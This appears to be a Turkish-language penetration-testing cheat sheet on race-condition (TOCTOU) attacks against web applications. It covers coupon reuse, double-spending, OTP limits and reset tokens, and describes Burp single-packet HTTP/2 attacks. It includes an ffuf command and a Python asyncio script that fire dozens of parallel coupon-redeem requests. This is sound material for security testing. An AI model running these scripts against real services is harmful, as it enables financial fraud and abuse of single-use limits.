Race Condition
OWASP A04 difficulty: orta
Race Condition, aynı kaynağa eşzamanlı erişen isteklerin kontrol ile eylem arasındaki kısa pencerede (TOCTOU) çakışmasıdır. Klasik etki: tek kullanımlık işlemleri (kupon, para çekme, oy, davet) birden çok kez uygulatmak.
Tipik hedefler
Section titled “Tipik hedefler”- Hediye kartı / kupon tek kullanım- Bakiye düşme (aynı parayı iki kez harcama)- Oy / beğeni / rate limit aşımı- Kayıt: aynı e-posta ile paralel hesap- 2FA/OTP deneme limiti penceresi- Stok: son ürünü birden fazla kişiye satma- Dosya yükleme / işleme yarışı- Davet linki / referral ödülü- "Like once" / "claim reward once"Limit-overrun vs. partial construction
Section titled “Limit-overrun vs. partial construction”Limit-overrun → "en fazla 1 kez" kontrolü yarışla aşılır (en yaygın)Partial construction→ Nesne henüz tamamlanmadan erişilir (ödeme öncesi sipariş, pending → paid)Time-gap → uzun süren işlem sırasında ikinci istekSömürü — eşzamanlı istek
Section titled “Sömürü — eşzamanlı istek”-
Aday uç seç — check-then-act; tekil olması gereken işlem.
-
İsteği yakala — Burp Repeater; geçerli tek kullanım isteği (kupon vs.).
-
Paralel gönder : Burp Repeater → “Send group in parallel (single-packet attack)” (HTTP/2)
-
Turbo Intruder / race.py
-
20–50 eşzamanlı kopya genelde yeter
-
Sonucu doğrula — çift bakiye, çoklu kupon apply, birden fazla 200 OK, stok negatif, duplicate sipariş ID.
for i in 1..30: POST /apply-coupon {code: SAVE50} # aynı anda# Beklenen: 1 başarı; gerçek: N başarı → raceSingle-packet attack (HTTP/2)
Section titled “Single-packet attack (HTTP/2)”PortSwigger: birden çok isteği tek TCP/TLS paketine sığdırarak sunucuya neredeyse aynı anda ulaştırır. HTTP/1.1’de connection başına sıralı giden isteklerde yarış kaçırılabilir.
Burp → Repeater → Create tab group → Send group in parallel (single-packet / last-byte sync)HTTP/2 zorunlu; ALPN h2 doğrulaTOCTOU deseni
Section titled “TOCTOU deseni”1) check balance >= 1002) (yarış penceresi — ikinci istek de check geçer)3) deduct 100→ her iki istek geçer → çift harcama / negatif bakiye1) if !used(coupon): apply()2) paralel N istek → N apply before used=true commitAuth & session races
Section titled “Auth & session races”□ Paralel parola değiştirme + eski token kullanım□ Email change confirmation token'ını iki kez kullan□ Username availability check vs register → duplicate□ MFA enable/disable yarışı□ Password reset token parallel consumeAraçlar
Section titled “Araçlar”ffuf -u https://hedef/api/redeem -X POST -d '{"code":"X"}' \ -H 'Content-Type: application/json' -H 'Cookie: session=...' \ -p 0.0 -t 50 -mc allimport asyncio, httpx
async def main(): async with httpx.AsyncClient() as c: reqs = [c.post( "https://hedef/api/redeem", json={"code": "SAVE50"}, cookies={"session": "USER"}, ) for _ in range(40)] for r in await asyncio.gather(*reqs): print(r.status_code, r.text[:80])
asyncio.run(main())DB isolation ipuçları
Section titled “DB isolation ipuçları”READ COMMITTED + non-atomic check → yüksek şansSELECT FOR UPDATE / transaction yok → adayRedis INCR atomic ise limit genelde tutar; yoksa raceIdempotency-Key header yokluğu → tekrar dene□ Aynı kuponun N kez uygulandığını gösteren yanıtlar□ Bakiye geçmişi / sipariş ID listesi□ Single-packet zaman damgası (mümkünse)□ Tekrarlanabilir adımlar (kaç paralel, HTTP/2)Saldırı zinciri
Section titled “Saldırı zinciri”Tek kullanımlık akış bul → geçerli isteği 30–50 paralel (HTTP/2 single-packet) → N başarı → ekonomik/logic impact raporla